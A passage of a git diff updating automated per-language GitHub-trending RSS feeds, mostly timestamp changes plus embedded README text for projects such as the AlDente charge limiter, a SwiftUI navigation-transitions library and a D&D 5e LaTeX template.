be7965150cd..5265f4dfff6 100644 --- a/svg/daily/index.xml +++ b/svg/daily/index.xml @@ -1,7 +1,7 @@ GitHub SVG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:13Z + 2023-09-20T01:41:53Z Daily Trending of SVG in GitHub \ No newline at end of file diff --git a/swift/daily/index.xml b/swift/daily/index.xml index a964707f600..c59b7f8ea32 100644 --- a/swift/daily/index.xml +++ b/swift/daily/index.xml @@ -1,28 +1,7 @@ GitHub Swift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:20Z + 2023-09-20T01:42:00Z Daily Trending of Swift in GitHub - - codepath/ios101-project1-wordle-starter - 2023-09-19T01:40:20Z - tag:github.com,2023-09-19:/codepath/ios101-project1-wordle-starter - - <p></p><hr><h1>Wordle Pt. 1 Starter</h1> <p>This is the starter project for iOS 101 Project 1 - Wordle Pt. 1</p> - - - AppHouseKitchen/AlDente-Charge-Limiter - 2023-09-19T01:40:20Z - tag:github.com,2023-09-19:/AppHouseKitchen/AlDente-Charge-Limiter - - <p>macOS menubar tool to set Charge Limits and prolong battery lifespan</p><hr><h1>AlDente - Charge Limiter🍝</h1> <p><em>MacOS menu bar tool to limit maximum charging percentage</em></p> <h4>Don't overcook your battery! Keep it fresh and chewy with AlDente.</h4> <h2>Why do I need this?</h2> <p>Li-Ion batteries (like the one in your MacBook) last the longest when operating between 20 and 80 percent. Keeping your battery at 100% at all times can shorten the lifespan of your MacBook significantly. More information can be found at <a href="https://batteryuniversity.com/article/bu-415-how-to-charge-and-when-to-charge">Battery University</a>.</p> <h2>What’s AlDente Pro?</h2> <p>AlDente Pro is our paid version of AlDente. It has many more features such as Heat Protection, Sailing Mode, Top Up, Calibration Mode,... It offers a better design and has live status icons. If you are interested in getting the most out of your battery, check out our <a href="https://apphousekitchen.com/">website</a>.</p> <p>AlDente Pro is now available on <a href="https://apphousekitchen.com/pricing/">Setapp</a> too.</p> <h2>Features of AlDente Free</h2> <ul> <li>Charge Limiter allows you to set your maximum charging percentage between 20 and 100 percent. You can either set it by using the slide bar or by typing in the desired percentage in the field above and pressing enter afterwards. Read more about the Charge Limiter feature in this article <a href="https://apphousekitchen.com/feature-explanation-charge-limiter/">"Feature Explanation: Charge Limiter"</a>.</li> <li>Discharge - This feature allows your MacBook to run completely on Battery even if it is plugged in. Therefore, you can actively discharge your MacBook to a more healthy percentage. Unfortunately, while Discharge is activated, clamshell mode is not supported due to technical limitations. Read more about the Discharge feature in this article <a href="https://apphousekitchen.com/feature-explanation-discharge/">"Feature Explanation: Discharge"</a>.</li> </ul> <h2>Supported MacBook Models (macOS 11 Big Sur or later required)</h2> <p>Check out if your MacBook is supported on our <a href="https://apphousekitchen.com/faq/">FAQ page</a>.</p> <h2>Download</h2> <p>You can download the app from GitHub: <a href="https://github.com/davidwernhart/AlDente/releases">https://github.com/davidwernhart/AlDente/releases</a></p> <h2>Installation Guide</h2> <p>An installation guide can be found on our website:<a href="https://apphousekitchen.com/installation-guide/">Installation Guide</a></p> <h2>How to use</h2> <p>When the installation is finished, enter your desired max. charging percentage by clicking on the 🍝 icon on your menu bar. Usually, the operating system will take a minute or two registering the changes, so be patient. You can check if it's working by setting the max. percentage to e.g.: 80%. After a while, clicking on your battery icon will report "Battery is not charging" if you have more than ≈73% left, even though your charger is connected. Notice that in this state, your MacBook is still powered by the charger, but the battery is not charging anymore.</p> <p>IMPORTANT: Keeping your battery at a lower percentage, such as under 80%, over weeks without doing full cycles (100%-0%) can result in a disturbed battery calibration. When this happens, your Macbook might turn off with 40-50% left or your battery capacity will drop significantly. However, this is only due to a disturbed battery calibration and not because of a faulty or degraded battery. To avoid this issue, we recommend doing at least one full cycle (0%-100%) every two weeks. Even if your battery calibration gets disturbed, doing 4+ full cycles will recalibrate your battery and the capacity will go up again.</p> <h2>Support</h2> <ul> <li>Most questions are already answered on our <a href="https://apphousekitchen.com/faq/">FAQ page</a> or on our <a href="https://apphousekitchen.com/blog/">blog</a>. Check them out!</li> <li>E-mail support is only available for AlDente Pro customers. Check out our <a href="https://apphousekitchen.com/support/">support page</a> if you want to contact us.</li> <li>Due to limited recourses, we are not able providing support to AlDente Free users or here in Github.</li> </ul> <h2>Other tools used in this project:</h2> <ul> <li><a href="https://github.com/beltex/SMCKit">https://github.com/beltex/SMCKit</a></li> <li><a href="https://github.com/sindresorhus/LaunchAtLogin">https://github.com/sindresorhus/LaunchAtLogin</a></li> <li><a href="https://github.com/andreyvit/create-dmg">https://github.com/andreyvit/create-dmg</a></li> </ul> <h2>Disclaimer:</h2> <p>I do not take any responsibility for any sort of damage in result of using this tool! Although this had no negative side effects for me and thousands of others, AlDente still taps in some very low level system functions that are not meant to be tampered with. Use it at your own risk!</p> <p>Copyright(c) 2021 AppHouseKitchen</p> <p>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p> - - - davdroman/swiftui-navigation-transitions - 2023-09-19T01:40:20Z - tag:github.com,2023-09-19:/davdroman/swiftui-navigation-transitions - - <p>Pure SwiftUI Navigation transitions ✨</p><hr><h1>NavigationTransitions</h1> <p><a href="https://github.com/davdroman/swiftui-navigation-transitions/actions/workflows/ci.yml"><img src="https://github.com/davdroman/swiftui-navigation-transitions/actions/workflows/ci.yml/badge.svg?sanitize=true" alt="CI"></a> <a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions"><img src="https://img.shields.io/endpoint?url=https%3A%2F%2Fswiftpackageindex.com%2Fapi%2Fpackages%2Fdavdroman%2Fswiftui-navigation-transitions%2Fbadge%3Ftype%3Dswift-versions" alt=""></a> <a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions"><img src="https://img.shields.io/endpoint?url=https%3A%2F%2Fswiftpackageindex.com%2Fapi%2Fpackages%2Fdavdroman%2Fswiftui-navigation-transitions%2Fbadge%3Ftype%3Dplatforms" alt=""></a></p> <p align="center"> <img width="320" src="https://user-images.githubusercontent.com/2538074/201549712-4234ca45-bdeb-42c4-9ee9-8d44b346ecdd.gif"> <img width="320" src="https://user-images.githubusercontent.com/2538074/201549897-147e90a0-3773-42ab-94bc-1065fbb7a66b.gif"> <img width="320" src="https://user-images.githubusercontent.com/2538074/201549995-62b86d4a-aa8b-4a6e-9bb4-5ed70cd47d84.gif"> <img width="320" src="https://user-images.githubusercontent.com/2538074/201550282-64ce0f8e-8f99-4fe2-baf8-583e35c0518a.gif"> </p> <p><strong>NavigationTransitions</strong> is a library that integrates seamlessly with SwiftUI's <code>NavigationView</code> and <code>NavigationStack</code>, allowing complete customization over <strong>push and pop transitions</strong>!</p> <h2>Overview</h2> <p>Instead of reinventing the entire navigation stack just to control its transitions, <code>NavigationTransitions</code> ships with a <strong>simple modifier</strong> that can be applied directly to SwiftUI's very own <strong>first-party navigation</strong> components.</p> <h3>The Basics</h3> <h4>iOS 13+</h4> <pre><code class="language-swift">NavigationView { // ... } .navigationViewStyle(.stack) .navigationTransition(.slide) </code></pre> <h4>iOS 16+</h4> <pre><code class="language-swift">NavigationStack { // ... } .navigationTransition(.slide) </code></pre> <hr> <p>The API is designed to resemble that of built-in SwiftUI Transitions for maximum <strong>familiarity</strong> and <strong>ease of use</strong>.</p> <p>You can apply <strong>custom animations</strong> just like with standard SwiftUI transitions:</p> <pre><code class="language-swift">.navigationTransition( .fade(.in).animation(.easeInOut(duration: 0.3)) ) </code></pre> <p>You can <strong>combine</strong> them:</p> <pre><code class="language-swift">.navigationTransition( .slide.combined(with: .fade(.in)) ) </code></pre> <p>And you can <strong>dynamically</strong> choose between transitions based on logic:</p> <pre><code class="language-swift">.navigationTransition( reduceMotion ? .fade(.in).animation(.linear) : .slide(.vertical) ) </code></pre> <h3>Transitions</h3> <p>The library ships with some <strong>standard transitions</strong> out of the box:</p> <ul> <li><a href="https://raw.githubusercontent.com/davdroman/swiftui-navigation-transitions/main/Sources/NavigationTransition/Default.swift"><code>default</code></a></li> <li><a href="https://raw.githubusercontent.com/davdroman/swiftui-navigation-transitions/main/Sources/NavigationTransition/Fade.swift"><code>fade(_:)</code></a></li> <li><a href="https://raw.githubusercontent.com/davdroman/swiftui-navigation-transitions/main/Sources/NavigationTransition/Slide.swift"><code>slide(axis:)</code></a></li> </ul> <p>In addition to these, you can create fully <a href="https://davdroman.github.io/swiftui-navigation-transitions/main/documentation/navigationtransitions/custom-transitions/"><strong>custom transitions</strong></a> in just a few lines of SwiftUI-like code!</p> <pre><code class="language-swift">struct Swing: NavigationTransition { var body: some NavigationTransition { Slide(axis: .horizontal) MirrorPush { let angle = 70.0 let offset = 150.0 OnInsertion { ZPosition(1) Rotate(.degrees(-angle)) Offset(x: offset) Opacity() Scale(0.5) } OnRemoval { Rotate(.degrees(angle)) Offset(x: -offset) } } } } </code></pre> <p>The <a href="https://raw.githubusercontent.com/davdroman/swiftui-navigation-transitions/main/Examples/Demo"><strong>Demo</strong></a> app showcases some of these transitions in action.</p> <h3>Interactivity</h3> <p>A sweet additional feature is the ability to override the behavior of the <strong>pop gesture</strong> on the navigation view:</p> <pre><code class="language-swift">.navigationTransition(.slide, interactivity: .pan) // full-pan screen gestures! </code></pre> <p>This even works to override its behavior while maintaining the <strong>default system transition</strong> in iOS:</p> <pre><code class="language-swift">.navigationTransition(.default, interactivity: .pan) // ✨ </code></pre> <h2>Documentation</h2> <p>The documentation for releases and <code>main</code> are available here:</p> <ul> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/main/documentation/navigationtransitions"><code>main</code></a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.13.0/documentation/navigationtransitions">0.13.0</a></li> </ul> <details> <summary> Other versions </summary> <ul> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.12.0/documentation/navigationtransitions">0.12.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.11.0/documentation/navigationtransitions">0.11.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.10.1/documentation/navigationtransitions">0.10.1</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.10.0/documentation/navigationtransitions">0.10.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.9.3/documentation/navigationtransitions">0.9.3</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.9.2/documentation/navigationtransitions">0.9.2</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.9.1/documentation/navigationtransitions">0.9.1</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.9.0/documentation/navigationtransitions">0.9.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.8.1/documentation/navigationtransitions">0.8.1</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.8.0/documentation/navigationtransitions">0.8.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.7.4/documentation/navigationtransitions">0.7.4</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.7.3/documentation/navigationtransitions">0.7.3</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.7.2/documentation/navigationtransitions">0.7.2</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.7.1/documentation/navigationtransitions">0.7.1</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.7.0/documentation/navigationtransitions">0.7.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.6.0/documentation/navigationtransitions">0.6.0</a></li> <li><a href="https://swiftpackageindex.com/davdroman/swiftui-navigation-transitions/0.5.1/documentation/navigationtransitions">0.5.1</a></li> </ul> </details> - \ No newline at end of file diff --git a/swig/daily/index.xml b/swig/daily/index.xml index a0d8a83f6ed..7e4b7dd6ff8 100644 --- a/swig/daily/index.xml +++ b/swig/daily/index.xml @@ -1,7 +1,7 @@ GitHub SWIG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:16Z + 2023-09-20T01:41:57Z Daily Trending of SWIG in GitHub \ No newline at end of file diff --git a/systemverilog/daily/index.xml b/systemverilog/daily/index.xml index f229d731ab3..f0a6311042c 100644 --- a/systemverilog/daily/index.xml +++ b/systemverilog/daily/index.xml @@ -1,7 +1,14 @@ GitHub SystemVerilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:34Z + 2023-09-20T01:42:16Z Daily Trending of SystemVerilog in GitHub + + scalable-arch/100kSV + 2023-09-20T01:42:16Z + tag:github.com,2023-09-20:/scalable-arch/100kSV + + <p></p><hr> + \ No newline at end of file diff --git a/talon/daily/index.xml b/talon/daily/index.xml index 490ad3d2098..cced4899f82 100644 --- a/talon/daily/index.xml +++ b/talon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Talon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:29Z + 2023-09-20T01:42:12Z Daily Trending of Talon in GitHub \ No newline at end of file diff --git a/tcl/daily/index.xml b/tcl/daily/index.xml index 81c291fc64e..e1522824a6c 100644 --- a/tcl/daily/index.xml +++ b/tcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:30Z + 2023-09-20T01:42:14Z Daily Trending of Tcl in GitHub \ No newline at end of file diff --git a/tcsh/daily/index.xml b/tcsh/daily/index.xml index 579e4e82f4e..cd350bef969 100644 --- a/tcsh/daily/index.xml +++ b/tcsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:28Z + 2023-09-20T01:42:13Z Daily Trending of Tcsh in GitHub \ No newline at end of file diff --git a/tea/daily/index.xml b/tea/daily/index.xml index 32b40fcc775..6bfe686db39 100644 --- a/tea/daily/index.xml +++ b/tea/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tea Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:37Z + 2023-09-20T01:42:18Z Daily Trending of Tea in GitHub \ No newline at end of file diff --git a/terra/daily/index.xml b/terra/daily/index.xml index 6ba22533642..d01adf25d04 100644 --- a/terra/daily/index.xml +++ b/terra/daily/index.xml @@ -1,7 +1,7 @@ GitHub Terra Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:35Z + 2023-09-20T01:42:17Z Daily Trending of Terra in GitHub \ No newline at end of file diff --git a/tex/daily/index.xml b/tex/daily/index.xml index a9cb20932d6..d385786108b 100644 --- a/tex/daily/index.xml +++ b/tex/daily/index.xml @@ -1,14 +1,21 @@ GitHub TeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:40Z + 2023-09-20T01:42:22Z Daily Trending of TeX in GitHub - krkiley/quantifying_change - 2023-09-19T01:40:40Z - tag:github.com,2023-09-19:/krkiley/quantifying_change - - <p></p><hr><h1>quantifying_change</h1> <p>A project quantifying the amount of interpersonal differences and intrapersonal change in more than 600 panel survey questions.</p> + w3f/ring-vrf + 2023-09-20T01:42:22Z + tag:github.com,2023-09-20:/w3f/ring-vrf + + <p></p><hr><h1>ring-vrf</h1> <p>Ring VRF implementation using zkSNARKs.</p> + + + rpgtex/DND-5e-LaTeX-Template + 2023-09-20T01:42:22Z + tag:github.com,2023-09-20:/rpgtex/DND-5e-LaTeX-Template + + <p>LaTeX package to typeset material for the fifth edition of the "world's greatest roleplaying game".</p><hr><h1>DnD 5e LaTeX Template</h1> <p><a href="https://github.com/rpgtex/DND-5e-LaTeX-Template/releases/latest"><img src="https://img.shields.io/github/release/rpgtex/DND-5e-LaTeX-Template/all.svg?sanitize=true" alt="Latest release"></a> <a href="https://circleci.com/gh/rpgtex/DND-5e-LaTeX-Template"><img src="https://img.shields.io/circleci/project/github/rpgtex/DND-5e-LaTeX-Template/master.svg?style=flat" alt="Build Status"></a></p> <p>This is a LaTeX template for typesetting documents in the style of the fifth edition of the "world's greatest roleplaying game".</p> <h2>Features</h2> <ul> <li>Color schemes, fonts, and layout are close to the core books (but not exactly the same).</li> <li>TeX Live includes the default fonts.</li> <li>Works with pdfTeX, LuaTeX, and XeTeX.</li> </ul> <p><img src="https://raw.githubusercontent.com/rpgtex/DND-5e-LaTeX-Template/dev/scrot.jpg" alt="Preview"></p> <h2>Installation</h2> <p>There are three options for using this project; choose the one that's right for you.</p> <h3>User install using <code>TEXMFHOME</code> (recommended)</h3> <p>This will install the template for your current user in one of the following locations:</p> <ul> <li>Linux: <code>~/.texmf/tex/latex</code></li> <li>OS X / macOS: <code>~/Library/texmf/tex/latex</code></li> <li>Windows: <code>C:\Users\{username}\texmf\tex\latex</code></li> </ul> <p>LaTeX will find the package automatically.</p> <ol> <li> <p>Prepare your <code>TEXMFHOME</code> directory.</p> <pre><code class="language-sh">mkdir "$(kpsewhich -var-value TEXMFHOME)/tex/latex/" </code></pre> </li> <li> <p>Download the <a href="https://github.com/rpgtex/DND-5e-LaTeX-Template/releases/latest">latest release</a> and extract it in <code>$TEXMFHOME/tex/latex/</code>.</p> <pre><code class="language-sh">wget https://github.com/rpgtex/DND-5e-LaTeX-Template/archive/master.zip unzip -d "$(kpsewhich -var-value TEXMFHOME)/tex/latex/" master.zip cd "$(kpsewhich -var-value TEXMFHOME)/tex/latex/" mv DND-5e-LaTeX-Template-master dnd </code></pre> <p>Alternatively, clone the repo to the same location:</p> <pre><code class="language-sh">git clone https://github.com/rpgtex/DND-5e-LaTeX-Template.git "$(kpsewhich -var-value TEXMFHOME)/tex/latex/dnd" </code></pre> </li> </ol> <h3>Using Overleaf</h3> <p><a href="https://overleaf.com">Overleaf</a> is an online TeX editor&nbsp;-- think about it like Google Docs for TeX documents. This option does not require a local TeX installation and is an ideal approach for one-off projects.</p> <ol> <li>Download this GitHub repository as a ZIP archive using the <em>Clone or download</em> link above.</li> <li>On Overleaf, click the <em>New Project</em> button and select <em>Upload Project</em>. Upload the ZIP archive you downloaded from this repository.</li> </ol> <h3>Project install using <code>TEXINPUTS</code></h3> <p>You can also clone a copy of the repository to each LaTeX project. For example, to clone the repository to a <code>lib/</code> directory in your project:</p> <pre><code class="language-sh">mkdir lib/ git clone https://github.com/rpgtex/DND-5e-LaTeX-Template.git lib/dnd </code></pre> <p>LaTeX will not find the template automatically. Set <code>TEXINPUTS</code> when compiling your project to locate the package:</p> <pre><code class="language-sh">TEXINPUTS=./lib//: pdflatex project.tex </code></pre> <h2>Usage</h2> <h3>Class (recommended)</h3> <p>Load the <code>dndbook</code> class in your preamble:</p> <pre><code class="language-tex">\documentclass[10pt,twoside,twocolumn,openany,nodeprecatedcode]{dndbook} \usepackage[english]{babel} \usepackage[utf8]{inputenc} \begin{document} % ... </code></pre> <h3>Package</h3> <p>You can also load the <code>dnd</code> package directly to use it with another class. Note that the package has only been tested with the <code>book</code> class.</p> <pre><code class="language-tex">\documentclass[10pt,twoside,twocolumn,openany]{book} \usepackage[english]{babel} \usepackage[utf8]{inputenc} \usepackage[layout=true]{dnd} \begin{document} % ... </code></pre> <h3>Options</h3> <table> <thead> <tr> <th>Option</th> <th align="center">Package <code>dnd</code></th> <th align="center">Class <code>dndbook</code></th> </tr> </thead> <tbody> <tr> <td><code>bg</code></td> <td align="center">✓</td> <td align="center">✓</td> </tr> <tr> <td><code>justified</code></td> <td align="center">✓</td> <td align="center">✓</td> </tr> <tr> <td><code>layout</code></td> <td align="center">✓</td> <td align="center"></td> </tr> <tr> <td><code>nomultitoc</code></td> <td align="center">✓</td> <td align="center">✓</td> </tr> <tr> <td><code>nodeprecatedcode</code></td> <td align="center">✓</td> <td align="center">✓</td> </tr> </tbody> </table> <p>The <code>dndbook</code> class also supports all the options of the <code>book</code> class.</p> <h4><code>bg</code></h4> <p>Declare how to load background and footer images. This is a key-value option with the following possible values:</p> <ul> <li><code>full</code>: Load both background and footer images. (<strong>default</strong>)</li> <li><code>none</code>: Removes both background and footer images.</li> <li><code>print</code>: Loads only the footer images.</li> </ul> <h4><code>justified</code></h4> <p>Justify column copy.</p> <h4><code>layout</code></h4> <p>Controls whether loading the <code>dnd</code> package also modifies the document layout (geometry, colors, typography, etc.). This is a boolean option with the following possible values:</p> <ul> <li><code>true</code>: Modify the document layout.</li> <li><code>false</code>: Do not modify the document layout.</li> </ul> <p>The default value is <code>true</code> for backwards compatibility with early releases. This will change in a future release.</p> <h4><code>nomultitoc</code></h4> <p>Disable multi-column table of contents.</p> <h4><code>nodeprecatedcode</code></h4> <p>Excludes all deprecated code from the build process.</p> <h2>Dependencies</h2> <p>If you don't have LaTeX installed, we recommend installing a complete <a href="https://www.tug.org/texlive/">TeX Live distribution</a>.</p> <h3>Ubuntu</h3> <pre><code class="language-sh">sudo apt-get install texlive-full </code></pre> <h3>Arch</h3> <pre><code class="language-sh">sudo pacman -S texlive-bin texlive-core texlive-latexextra </code></pre> <h3>OSX</h3> <p>MacTex has its own <a href="https://www.tug.org/mactex/">installer</a>, but you can install it through brew cask:</p> <h4>Full version</h4> <pre><code class="language-sh">brew cask install mactex </code></pre> <h4>Slightly smaller version without GUI</h4> <pre><code class="language-sh">brew cask install mactex-no-gui </code></pre> <h4>Minimal version</h4> <p>Use <code>tlmgr</code> to install packages as needed, see this <a href="https://tex.stackexchange.com/a/470285">answer</a> for more information</p> <pre><code class="language-sh">brew cask install basictex brew cask install tex-live-utility </code></pre> <p>After any of this, use the following such that the texlive directory doesn't require admin rights.</p> <pre><code class="language-sh">sudo chown -R myuser:mygroup /usr/local/texlive </code></pre> <p>For more information about MacTex permissions, see the following StackExchange <a href="https://tex.stackexchange.com/questions/3744/how-do-i-set-up-mactex-so-admin-rights-arent-necessary">post</a></p> <h2>Known issues and solutions</h2> <h3>Stat block text color does not survive page breaks</h3> <p>This is a known issue in <code>tcolorbox</code>. According to the <code>tcolorbox</code> 4.12 manual (p. 363):</p> <blockquote> <p>If your text content contains some text color changing commands, your color will not survive the break to the next box.</p> </blockquote> <p>You can use LuaTeX to compile the document.</p> <pre><code class="language-sh">lualatex main.tex </code></pre> <h3>Wrapping <code>monsterbox</code> in float disrupts spacing inside stat block</h3> <p>Wrapping a <code>monsterbox</code> (or <code>monsterboxnobg</code>) in a floating figure adds extra space between stat block elements:</p> <pre><code class="language-latex">\begin{figure}[b] \begin{monsterbox}{Orc Warden} % ... \end{monsterbox} \end{figure} </code></pre> <p>Instead, use the <code>tcolorbox</code> <code>float</code> parameter:</p> <pre><code class="language-latex">\begin{monsterbox}[float=b]{Orc Warden} % ... \end{monsterbox} </code></pre> <p>Refer to the <code>tcolorbox</code> documentation (section 4.13) for more float parameters.</p> <h2>Contributing</h2> <h3>Style</h3> <p>We use <a href="https://editorconfig.org/">EditorConfig</a> to enforce consistent formatting. Install the appropriate plugin for your editor.</p> <h3>Preparing a new release</h3> <ol> <li> <p>Run <code>./bin/bump-version</code> to tag the new version.</p> <pre><code class="language-sh">./bin/bumpversion &lt;version&gt; </code></pre> </li> <li> <p>Compile the example PDF.</p> </li> <li> <p>Save the first page of the PDF as scrot.jpg.</p> </li> <li> <p>Update the change log for the new release; commit your changes.</p> </li> <li> <p>Push changes.</p> <pre><code class="language-sh">git push &amp;&amp; git push --tags </code></pre> </li> <li> <p><a href="https://help.github.com/articles/creating-releases/">Create a new release</a> and attach the PDF and scrot.</p> </li> </ol> <h2>Credits</h2> <ul> <li>Background image from <a href="https://lostandtaken.com/">Lost and Taken</a></li> </ul> <h2>License</h2> <p>MIT</p> \ No newline at end of file diff --git a/texinfo/daily/index.xml b/texinfo/daily/index.xml index 6293ed13410..0d6a4575ac2 100644 --- a/texinfo/daily/index.xml +++ b/texinfo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Texinfo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:36Z + 2023-09-20T01:42:19Z Daily Trending of Texinfo in GitHub \ No newline at end of file diff --git a/text/daily/index.xml b/text/daily/index.xml index 74948aa1d7e..fbd3c10cbf3 100644 --- a/text/daily/index.xml +++ b/text/daily/index.xml @@ -1,7 +1,7 @@ GitHub Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:55Z + 2023-09-20T01:42:33Z Daily Trending of Text in GitHub \ No newline at end of file diff --git a/textile/daily/index.xml b/textile/daily/index.xml index 8e42feded21..7cd937d2026 100644 --- a/textile/daily/index.xml +++ b/textile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Textile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:56Z + 2023-09-20T01:42:32Z Daily Trending of Textile in GitHub \ No newline at end of file diff --git a/textmate-properties/daily/index.xml b/textmate-properties/daily/index.xml index 6d0c08b263e..ae1c036c0fd 100644 --- a/textmate-properties/daily/index.xml +++ b/textmate-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub TextMate Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:54Z + 2023-09-20T01:42:30Z Daily Trending of TextMate Properties in GitHub \ No newline at end of file diff --git a/thrift/daily/index.xml b/thrift/daily/index.xml index c9d9a824c8e..42ddd6453ef 100644 --- a/thrift/daily/index.xml +++ b/thrift/daily/index.xml @@ -1,7 +1,7 @@ GitHub Thrift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:56Z + 2023-09-20T01:42:32Z Daily Trending of Thrift in GitHub \ No newline at end of file diff --git a/ti-program/daily/index.xml b/ti-program/daily/index.xml index f0bc4d7d969..6deeda7a411 100644 --- a/ti-program/daily/index.xml +++ b/ti-program/daily/index.xml @@ -1,7 +1,7 @@ GitHub TI Program Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:58Z + 2023-09-20T01:42:36Z Daily Trending of TI Program in GitHub \ No newline at end of file diff --git a/tla/daily/index.xml b/tla/daily/index.xml index 72cecbccce5..50a3b66c93a 100644 --- a/tla/daily/index.xml +++ b/tla/daily/index.xml @@ -1,7 +1,7 @@ GitHub TLA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:58Z + 2023-09-20T01:42:35Z Daily Trending of TLA in GitHub \ No newline at end of file diff --git a/toml/daily/index.xml b/toml/daily/index.xml index 4bcaa7bc529..9c40d69aa16 100644 --- a/toml/daily/index.xml +++ b/toml/daily/index.xml @@ -1,7 +1,7 @@ GitHub TOML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:40:59Z + 2023-09-20T01:42:37Z Daily Trending of TOML in GitHub \ No newline at end of file diff --git a/tsql/daily/index.xml b/tsql/daily/index.xml index e935f0c005a..0c1b2d0d7e1 100644 --- a/tsql/daily/index.xml +++ b/tsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:04Z + 2023-09-20T01:42:41Z Daily Trending of TSQL in GitHub \ No newline at end of file diff --git a/tsv/daily/index.xml b/tsv/daily/index.xml index c97a1f41613..b57c1c9ed48 100644 --- a/tsv/daily/index.xml +++ b/tsv/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:05Z + 2023-09-20T01:42:39Z Daily Trending of TSV in GitHub \ No newline at end of file diff --git a/tsx/daily/index.xml b/tsx/daily/index.xml index e7d0612bc56..9c9b42f14a8 100644 --- a/tsx/daily/index.xml +++ b/tsx/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:01Z + 2023-09-20T01:42:42Z Daily Trending of TSX in GitHub \ No newline at end of file diff --git a/turing/daily/index.xml b/turing/daily/index.xml index 20bdebd3ead..e074277130a 100644 --- a/turing/daily/index.xml +++ b/turing/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:02Z + 2023-09-20T01:42:38Z Daily Trending of Turing in GitHub \ No newline at end of file diff --git a/turtle/daily/index.xml b/turtle/daily/index.xml index ada6d188591..ad3793809dd 100644 --- a/turtle/daily/index.xml +++ b/turtle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turtle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:07Z + 2023-09-20T01:42:43Z Daily Trending of Turtle in GitHub \ No newline at end of file diff --git a/twig/daily/index.xml b/twig/daily/index.xml index 3c2801f1871..291e440d5d6 100644 --- a/twig/daily/index.xml +++ b/twig/daily/index.xml @@ -1,7 +1,7 @@ GitHub Twig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:08Z + 2023-09-20T01:42:45Z Daily Trending of Twig in GitHub \ No newline at end of file diff --git a/txl/daily/index.xml b/txl/daily/index.xml index 